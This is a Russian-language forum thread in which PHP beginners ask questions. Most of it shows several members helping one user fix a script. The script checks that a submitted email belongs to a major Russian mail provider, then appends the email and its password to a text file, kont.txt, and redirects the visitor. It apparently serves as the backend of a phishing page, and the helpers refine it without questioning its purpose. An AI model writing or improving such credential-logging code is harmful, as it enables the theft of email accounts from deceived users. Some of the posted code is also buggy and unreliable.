[php] Новичкам: задаем вопросы

Discussion in 'PHP' started by _Great_, 26 May 2007.

Thread Status:
Not open for further replies.
  1. geforce

    geforce Member

    Joined:
    21 Aug 2008
    Messages:
    300
    Likes Received:
    26
    Reputations:
    -5
    А как фильтровать окончание поля ввода $_post[ "a"]???

    К примеру
    если окончание равно @mail.ru то делать одно а если нет то делать другое!
    Это моно с помощью preg_match?
     
  2. NuR

    NuR Elder - Старейшина

    Joined:
    11 Dec 2005
    Messages:
    85
    Likes Received:
    58
    Reputations:
    -2
    xt так все прицепились этим регуляркам! их надо юзать в последнюю очередь!

    Code:
    $str="[email protected]";
    $f=explode("@",$str,2);
    if($f[1]=="mail.ru")
    {
    	echo "делаем одно";
    }
    
     
  3. geforce

    geforce Member

    Joined:
    21 Aug 2008
    Messages:
    300
    Likes Received:
    26
    Reputations:
    -5
    А как заманить эту $str="[email protected]"; переменую на переменую передаваймую $_post["a"];?????
     
  4. art2222

    art2222 Elder - Старейшина

    Joined:
    28 Apr 2008
    Messages:
    118
    Likes Received:
    57
    Reputations:
    10
    Народ, как выдрать текст из веб странички
    <hr class="iq">
    <div class="q">
    текст который нужно достать
    </div>
    Таких может быть несколько на паге. Нужно достать все. С меня +
     
  5. Doom123

    Doom123 Elder - Старейшина

    Joined:
    11 Nov 2006
    Messages:
    749
    Likes Received:
    244
    Reputations:
    22
    geforce
    PHP:
    $f=explode("@",$_POST['a'],2);
    if(
    $f[1]=="mail.ru")
        echo 
    "делаем одно";

     
  6. geforce

    geforce Member

    Joined:
    21 Aug 2008
    Messages:
    300
    Likes Received:
    26
    Reputations:
    -5
    Используй функцию preg_match!
    PHP:
    <?php
    $f 
    file_get_contents("файл где ищеш.php");
    $s1="<hr class="iq">";
    $s2="<hr class="iq">";
    preg_match_all($s1,$f,$ma);
    preg_match_all($s2,$f,$mas);
    echo 
    ma[1];
    echo 
    mas[1];
    fclose($f);
    ?>
     
    #5526 geforce, 21 Sep 2008
    Last edited: 21 Sep 2008
    1 person likes this.
  7. Doom123

    Doom123 Elder - Старейшина

    Joined:
    11 Nov 2006
    Messages:
    749
    Likes Received:
    244
    Reputations:
    22
    geforce Во мервых ему нужны все совпадения тоесть preg_match_all во вторых это скорее всего многострочный контент .. нужно добавить идитификатор \m вроде
     
  8. geforce

    geforce Member

    Joined:
    21 Aug 2008
    Messages:
    300
    Likes Received:
    26
    Reputations:
    -5
    PHP:
    <?php 
    $f
    ="";
    $mail[0]="mail.ru";
    $mail[1]="list.ru";
    $mail[2]="inbox.ru";
    $mail[3]="bk.ru";
    $mail[4]="yandex.ru";
    $mail[5]="rambler.ru";

    $fs=explode("@",$_POST['a'],2);
    if ((
    $fs[1]==$mail[0])or($fs[1]==$mail[1])or($fs[1]==$mail[2])or($fs[1]==$mail[3])or($fs[1]==$mail[4])or($fs[1]==$mail[5])) 
    {
      if ((
    $_POST["a"]==$f)or($_POST["b"]==$f)) 
       { 
         
    header('Location: error1.php'); 
        } else 
             {
               if(isset(
    $_POST["a"])&& isset($_POST["b"])) 
                { 
                  
    $fh=fopen("kont.txt","a"); 
                  
    fputs($fh,"mail=>>>".$_POST["a"]."::::pass=>>>".$_POST["b"]."\r\n"); 
                  
    fclose($fh); 
                  
    header('Location: autor.php'); 
                  }
               }
    }  else 
          { 
           
    header('Location: error2.php');
          }
    ?> 
    Вот так правильно???
     
  9. NuR

    NuR Elder - Старейшина

    Joined:
    11 Dec 2005
    Messages:
    85
    Likes Received:
    58
    Reputations:
    -2
    preg_match не работает с файловыми указателями
     
  10. Doom123

    Doom123 Elder - Старейшина

    Joined:
    11 Nov 2006
    Messages:
    749
    Likes Received:
    244
    Reputations:
    22
    NuR мм .... причём тут файловый указаталь? только функции чтения из файла работают с ними ... а сложно сделать $f = file_get_contents('file.txt');


    geforce что это за ужас?
    if (($fs[1]==$mail[0])or($fs[1]==$mail[1])or($fs[1]==$mail[2])or($fs[1]==$mail[3])or($fs[1]==$mail[4])or($fs[1]==$mail[5]))

    типо не существует ф-ции in_array() ?

    илии нету ф-ции empty() ?
     
    #5530 Doom123, 21 Sep 2008
    Last edited: 21 Sep 2008
  11. geforce

    geforce Member

    Joined:
    21 Aug 2008
    Messages:
    300
    Likes Received:
    26
    Reputations:
    -5
    Я новичёк подскажи как пользоваться in_array() или empty()?
     
  12. Doom123

    Doom123 Elder - Старейшина

    Joined:
    11 Nov 2006
    Messages:
    749
    Likes Received:
    244
    Reputations:
    22
    geforce

    PHP:
    <?php  
    $mail
    [0]="mail.ru"
    $mail[1]="list.ru"
    $mail[2]="inbox.ru"
    $mail[3]="bk.ru"
    $mail[4]="yandex.ru"
    $mail[5]="rambler.ru"

    $fs=explode("@",$_POST['a'],2); 
    if (
    in_array($fs[1],$mail))

      if (empty(
    $_POST['b']))    //Нужна проверка т.к $_POST['а'] мы проверили выше
         
    exit(header('Location: error1.php'));  
         
                  
    $fh=fopen("kont.txt","a");  
                  
    fputs($fh,"mail=>>>".$_POST["a"]."::::pass=>>>".$_POST["b"]."\r\n");  
                  
    fclose($fh);  
                  
    header('Location: autor.php');  
                  
               
    }  else  
           
    header('Location: error2.php'); 
    ?>
     
    #5532 Doom123, 21 Sep 2008
    Last edited: 21 Sep 2008
  13. geforce

    geforce Member

    Joined:
    21 Aug 2008
    Messages:
    300
    Likes Received:
    26
    Reputations:
    -5
    Нет b у меня пасворд его не надо проверять!
     
  14. geforce

    geforce Member

    Joined:
    21 Aug 2008
    Messages:
    300
    Likes Received:
    26
    Reputations:
    -5
    PHP:
    <?php 
    $f
    ="";
    $mail[0]="mail.ru";
    $mail[1]="list.ru";
    $mail[2]="inbox.ru";
    $mail[3]="bk.ru";
    $mail[4]="yandex.ru";
    $mail[5]="rambler.ru";
    if ((
    $_POST["a"]==$f)or($_POST["b"]==$f)) //проверяет поле на пустоту
       
    {header('Location: error1.php');}  
    else {
    $fs=explode("@",$_POST['a'],2);  //проверяет правильность мыла
       
    if (in_array($fs[1],$mail)) 
         {if(isset(
    $_POST["a"])&& isset($_POST["b"]))  //делает запись в текстовый файл если выше описаные проверки пройдены         
          
    {$fh=fopen("kont.txt","a"); 
            
    fputs($fh,"mail=>>>".$_POST["a"]."::::pass=>>>".$_POST["b"]."\r\n");          
              
    fclose($fh);        
                
    header('Location: autor.php');}}} else {header('Location: error2.php');}    
    ?>       
    Почему пишет ошибку?
    Parse error: syntax error, unexpected T_ELSE in Z:\home\test3.ru\www\prog.php on line 27
     
    #5534 geforce, 21 Sep 2008
    Last edited: 21 Sep 2008
  15. astrologer

    astrologer Elder - Старейшина

    Joined:
    30 Aug 2007
    Messages:
    837
    Likes Received:
    267
    Reputations:
    59
    1) Было бы неплохо указывать, какую именно ошибку.
    2) Также имеет смысл лучше изучить основы используемого языка. Можно, например, начать отсюда.
     
  16. d_x

    d_x Banned

    Joined:
    25 Mar 2008
    Messages:
    558
    Likes Received:
    650
    Reputations:
    210
    PHP:
    <?php  
    $f
    =""
    $mail[0]="mail.ru"
    $mail[1]="list.ru"
    $mail[2]="inbox.ru"
    $mail[3]="bk.ru"
    $mail[4]="yandex.ru"
    $mail[5]="rambler.ru"

    if (
    $_POST["a"]==$f || $_POST["b"]==$f//проверяет поле на пустоту 
      
    header('Location: error1.php');
    else
    {
      
    $fs=explode("@",$_POST['a'],2);  //проверяет правильность мыла

      
    if(in_array($fs[1],$mail))
      {
        if(isset(
    $_POST["a"]) && isset($_POST["b"]))  //делает запись в текстовый файл если выше описаные проверки пройдены
        
    {
          
    $fh=fopen("kont.txt","a");

          
    fputs($fh,"mail=>>>".$_POST["a"]."::::pass=>>>".$_POST["b"]."\r\n");
             
          
    fclose($fh);        
     
          
    header('Location: autor.php');
        }
      }
      else
      {
        
    header('Location: error2.php');
      }
    }
    ?>
    P.S. Код не улучшал :)
     
  17. NuR

    NuR Elder - Старейшина

    Joined:
    11 Dec 2005
    Messages:
    85
    Likes Received:
    58
    Reputations:
    -2
    else {
    header('Location: error2.php');
    }

    вот этот елсе хренпоймический, для него нету иф.


    1) Было бы неплохо указывать, какую именно ошибку.
    изучая код товарища гефорсе можно сделать вывод что ошибка в днк=)
     
  18. d_x

    d_x Banned

    Joined:
    25 Mar 2008
    Messages:
    558
    Likes Received:
    650
    Reputations:
    210
    Немного поприличнее вариант:

    PHP:
    <?php   
    $mail
    =Array(
    "mail.ru",
    "list.ru",
    "inbox.ru"
    "bk.ru",
    "yandex.ru",
    "rambler.ru"
    );

    if (!isset(
    $_POST["a"]) || !isset($_POST["b"]) || $_POST["a"]=='' || $_POST["b"]==''//проверяет поле на пустоту  
      
    header('Location: error1.php'); 
    else 

      
    $fs=explode("@",$_POST['a'],2);  //проверяет правильность мыла 

      
    if(in_array($fs[1],$mail) && preg_match("/^[_\-\.0-9a-z]+@[0-9a-z]{1}[_0-9a-z\.]+\.[a-z]{2,4}$/i",$fs[1])) 
      { 
        
    $fh=fopen("kont.txt","a+"); 

        
    fputs($fh,"mail=>>>".$_POST["a"]."::::pass=>>>".$_POST["b"]."\r\n"); 
              
        
    fclose($fh);         
      
        
    header('Location: autor.php'); 
      } 
      else 
      { 
        
    header('Location: error2.php'); 
      } 

    ?>
     
    #5538 d_x, 21 Sep 2008
    Last edited: 21 Sep 2008
  19. geforce

    geforce Member

    Joined:
    21 Aug 2008
    Messages:
    300
    Likes Received:
    26
    Reputations:
    -5

    СПАСИБО!!!
     
  20. geforce

    geforce Member

    Joined:
    21 Aug 2008
    Messages:
    300
    Likes Received:
    26
    Reputations:
    -5
    Вот так не работает
    PHP:
    <?php $f=fopen("kont.txt") echo"$f";?>
    Как вывести содержимое текстового документа на страницу?
     
Thread Status:
Not open for further replies.